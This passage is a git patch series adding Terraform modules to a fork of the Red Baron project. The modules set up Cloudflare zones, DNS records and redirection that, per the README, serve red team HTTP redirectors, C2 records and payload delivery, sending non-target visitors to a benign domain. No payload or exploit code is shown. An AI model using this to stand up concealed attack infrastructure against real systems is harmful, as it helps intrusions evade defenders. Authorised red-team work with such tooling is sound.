opportunistic_encryption = "on" + opportunistic_onion = "on" + privacy_pass = "on" + pseudo_ipv4 = "off" + rocket_loader = "off" + security_header { + + enabled = false + include_subdomains = false + max_age = 0 + nosniff = false + preload = false + + } + + security_level = "medium" + server_side_exclude = "on" + sort_query_string_for_cache = "off" + ssl = "full" + tls_1_3 = "on" + tls_client_auth = "off" + waf = "off" + websockets = "on" + zero_rtt = "off" + } +} +*/ +output "zone_id" { + value = "${cloudflare_zone.target_domain.id}" +} \ No newline at end of file diff --git a/modules/cloudflare/zone_creation/variables.tf b/modules/cloudflare/zone_creation/variables.tf new file mode 100644 index 0000000..d8460e4 --- /dev/null +++ b/modules/cloudflare/zone_creation/variables.tf @@ -0,0 +1,17 @@ +//this is your domain +variable "my_domain_name" { +} + + +//This is the domain where redirection should +//send requests that aren't matching either your +//agents or other filters +variable "benign_domain" { +} + +//By default we'll make a record for the www A record +//that points to your benign_domain. +variable "cname_record" { + default = "www" +} + From 31530c10e4a35421c881fbdbd233e183e162652e Mon Sep 17 00:00:00 2001 From: WheelsVT Date: Wed, 4 Mar 2020 17:26:14 -0500 Subject: [PATCH 4/8] Create README.md --- modules/cloudflare/README.md | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 modules/cloudflare/README.md diff --git a/modules/cloudflare/README.md b/modules/cloudflare/README.md new file mode 100644 index 0000000..605a747 --- /dev/null +++ b/modules/cloudflare/README.md @@ -0,0 +1,7 @@ +# CloudFlare Modules + +These modules were built to quickly create CloudFlare zones, filters, and worker scripts to serve as red team HTTP redirectors and payload delivery options. + +See blog post on Medium for background and capability walkthrough. Readme in subdirectories detail each module syntax. Example TerraForm config file can be found in examples folder. + +https://medium.com/@sw_73115/redcloud-learning-from-astaroth-98ea7abd2a2c From 0bf6187bde80c4ddb0af62113210e2f0c47b1e04 Mon Sep 17 00:00:00 2001 From: WheelsVT Date: Wed, 4 Mar 2020 19:14:47 -0500 Subject: [PATCH 5/8] Update README.md --- modules/cloudflare/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/cloudflare/README.md b/modules/cloudflare/README.md index 605a747..8b26f97 100644 --- a/modules/cloudflare/README.md +++ b/modules/cloudflare/README.md @@ -4,4 +4,4 @@ These modules were built to quickly create CloudFlare zones, filters, and worker See blog post on Medium for background and capability walkthrough. Readme in subdirectories detail each module syntax. Example TerraForm config file can be found in examples folder. -https://medium.com/@sw_73115/redcloud-learning-from-astaroth-98ea7abd2a2c +https://medium.com/@wheelsvt/redcloud-learning-from-astaroth-98ea7abd2a2c From 6f612892fc0a51e84c5ca01b515f845fc1508200 Mon Sep 17 00:00:00 2001 From: Steve Walker Date: Sun, 15 Mar 2020 14:05:34 -0400 Subject: [PATCH 6/8] Added record_creation module and modified zone_creation to only create the zone. --- examples/deploy-cf-infra.tf | 11 +++++++- modules/cloudflare/record_creation/README.md | 26 +++++++++++++++++++ modules/cloudflare/record_creation/main.tf | 11 ++++++++ .../cloudflare/record_creation/variables.tf | 20 ++++++++++++++ modules/cloudflare/zone_creation/main.tf | 10 ------- modules/cloudflare/zone_creation/variables.tf | 5 ---- 6 files changed, 67 insertions(+), 16 deletions(-) create mode 100644 modules/cloudflare/record_creation/README.md create mode 100644 modules/cloudflare/record_creation/main.tf create mode 100644 modules/cloudflare/record_creation/variables.tf diff --git a/examples/deploy-cf-infra.tf b/examples/deploy-cf-infra.tf index a51fffe..9a50699 100644 --- a/examples/deploy-cf-infra.tf +++ b/examples/deploy-cf-infra.tf @@ -57,10 +57,19 @@ module "zone" { source = "./modules/cloudflare/zone_creation" my_domain_name = "DOMAINNAME" //our frontend domain benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected - cname_record = "www" //you'll need this: ${module.zone.zone_id} } +//If you're using C2 then you'll need to make an entry - CloudFlare worker scripts don't work with IPs. +module "record" { + source = "./modules/cloudflare/record_creation" + zone_id = "${module.zone.zone_id}" + + hostname = "images" + type = "A" + server = "1.1.1.1" +} + module "http-redirector" { source = "./modules/cloudflare/cf-http-redirector" zone_id = "${module.zone.zone_id}" diff --git a/modules/cloudflare/record_creation/README.md b/modules/cloudflare/record_creation/README.md new file mode 100644 index 0000000..347afef --- /dev/null +++ b/modules/cloudflare/record_creation/README.md @@ -0,0 +1,26 @@ +# filter + +Creates a CloudFlare Worker Zone for managing a domain name. Prerequisite for any CF modules. + +Note: Currently, there is no module for changing your domain name NS records to CloudFlare's. Usually CloudFlare instructs you to configure `angela.cloudflare.com` and `gannon.cloudflare.com` as authoritative nameservers for your domain. You will need to do this to use these modules. + +# Example + +```hcl +module "record" { + source = "./modules/cloudflare/record_creation" + my_domain_name = "DOMAINNAME" //our frontend domain + hostname = "www" //the benign domain where non-agents, targets, should be redirected + type = "A" + server = "1.1.1.1" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`my_domain_name` | Yes | String | The domain that CloudFlare should handle +|`hostname` | Yes | String | Benign domain to send any unmatched requests +|`type` | Yes | String | Type of record (A, CNAME, etc.) +|`server` | Yes | String | The backend server this record points to diff --git a/modules/cloudflare/record_creation/main.tf b/modules/cloudflare/record_creation/main.tf new file mode 100644 index 0000000..ad2f814 --- /dev/null +++ b/modules/cloudflare/record_creation/main.tf @@ -0,0 +1,11 @@ +//setup our benign CNAME relay. No need to clone + +//our overall domain +resource "cloudflare_record" "record" { + zone_id = "${var.zone_id}" + name = "${var.hostname}" + type = "${var.type}" + ttl = "1" + proxied = "true" + value = "${var.server}" +} diff --git a/modules/cloudflare/record_creation/variables.tf b/modules/cloudflare/record_creation/variables.tf new file mode 100644 index 0000000..091b54a --- /dev/null +++ b/modules/cloudflare/record_creation/variables.tf @@ -0,0 +1,20 @@ +//this is your domain +variable "my_domain_name" { +} + +variable "zone_id" { + +} + +//By default we'll make a record for the www A record +variable "hostname" { + default = "www" +} + +variable "type" { + default = "A" +} + +variable "server" { + default = "1.1.1.1" +} \ No newline at end of file diff --git a/modules/cloudflare/zone_creation/main.tf b/modules/cloudflare/zone_creation/main.tf index 0875bfa..8dfcee9 100644 --- a/modules/cloudflare/zone_creation/main.tf +++ b/modules/cloudflare/zone_creation/main.tf @@ -16,16 +16,6 @@ resource "cloudflare_record" "benign_CNAME" { value = "${var.benign_domain}" } -//another benign CNAME relay for good measure -resource "cloudflare_record" "benign_www_CNAME" { - zone_id = "${cloudflare_zone.target_domain.id}" - name = "${var.cname_record}" - type = "CNAME" - ttl = "1" - proxied = "true" - value = "${var.benign_domain}" -} - /* resource "cloudflare_zone_settings_override" "zone_settings_override"{ zone_id = "${cloudflare_zone.target_domain.id}" diff --git a/modules/cloudflare/zone_creation/variables.tf b/modules/cloudflare/zone_creation/variables.tf index d8460e4..4dd14af 100644 --- a/modules/cloudflare/zone_creation/variables.tf +++ b/modules/cloudflare/zone_creation/variables.tf @@ -9,9 +9,4 @@ variable "my_domain_name" { variable "benign_domain" { } -//By default we'll make a record for the www A record -//that points to your benign_domain. -variable "cname_record" { - default = "www" -} From 040724b747ece3ab399d146d6f76a9669f005c16 Mon Sep 17 00:00:00 2001 From: WheelsVT Date: Wed, 23 Sep 2020 11:50:47 -0400 Subject: [PATCH 7/8] Update README.md Added header pointing to this fork's additions --- README.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a1eedb7..ee1a2c7 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,14 @@ -Latest version of this project is now being maintained here: +# WheelsVT Edit + +Added CloudFlare automation modules for DNS records and creation of redirectors, dropper, and staged payloads. + + -https://github.com/byt3bl33d3r/Red-Baron # Red Baron +Latest version of this project is now being maintained here: + +https://github.com/byt3bl33d3r/Red-Baron

baron From 20d808e88f90cd1c71c9770ac57f98419120c730 Mon Sep 17 00:00:00 2001 From: WheelsVT Date: Sun, 8 Nov 2020 18:02:41 -0500 Subject: [PATCH 8/8] Update README.md --- README.md | 7 ------- 1 file changed, 7 deletions(-) diff --git a/README.md b/README.md index ee1a2c7..d8b55ff 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,3 @@ -# WheelsVT Edit - -Added CloudFlare automation modules for DNS records and creation of redirectors, dropper, and staged payloads. - - - - # Red Baron Latest version of this project is now being maintained here: